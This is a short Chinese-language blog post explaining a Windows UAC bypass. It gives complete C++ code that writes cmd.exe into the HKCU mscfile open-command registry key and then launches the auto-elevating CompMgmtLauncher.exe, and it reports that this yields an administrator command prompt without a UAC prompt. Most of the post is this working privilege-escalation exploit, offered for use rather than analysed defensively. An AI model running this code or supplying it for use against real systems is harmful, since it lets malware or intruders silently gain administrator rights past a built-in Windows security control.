Windows黑客编程之Bypass UAC

描述

  • 用管理员权限运行CompMgmtLauncher.exe,由于它是白名单程序,不会被UAC拦截,可以直接以管理员权限运行
  • CompMgmtLauncher的功能是去遍历指定注册表路径下的程序,并启动
  • 只要在特定注册表路径下写入目标程序的路径,运行白名单程序,就可以绕过UAC,获取管理员权限运行程序

代码

  • 只需要往指定注册表路径中写入目标程序路径
  • 随后启动CompMgmtLauncher程序
#include "stdafx.h"
#include <Windows.h>

void ShowError(char* pszText)
{
	char szErr[MAX_PATH] = { 0 };
	::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
#ifdef _DEBUG
	::MessageBox(NULL, szErr, "ERROR", MB_OK | MB_ICONERROR);
#endif
}

BOOL SetReg(char* lpszExePath)
{
	HKEY hKey = NULL;
	::RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Classes\\mscfile\\Shell\\Open\\Command", 0, NULL, 0, KEY_WOW64_64KEY | KEY_ALL_ACCESS, NULL, &hKey, NULL);
	if (NULL == hKey)
	{
		ShowError("RegCreateKeyEx");
		return FALSE;
	}
	::RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE*)lpszExePath, (1 + ::lstrlen(lpszExePath)));
	::RegCloseKey(hKey);
	return TRUE;
}

int _tmain(int argc, _TCHAR* argv[])
{
	BOOL bRet = FALSE;
	PVOID OldValue = NULL;
	//关闭32位程序文件重定位
	::Wow64DisableWow64FsRedirection(&OldValue);

	bRet = SetReg("C:\\Windows\\System32\\cmd.exe");
	if (bRet)
	{
		// 运行 CompMgmtLauncher.exe
		system("CompMgmtLauncher.exe");
		printf("Run OK!\n");
	}
	else
	{
		printf("Run ERROR!\n");
	}

	// 恢复文件重定位
	::Wow64RevertWow64FsRedirection(OldValue);

	system("pause");
	return 0;
}

结果

  • 通过ProcMon查看CompMgmtLauncher读注册表操作
  • 成功绕过UAC,获得管理员权限的cmd
posted @ 2023-02-25 11:26  z5onk0  阅读(112)  评论(0编辑  收藏  举报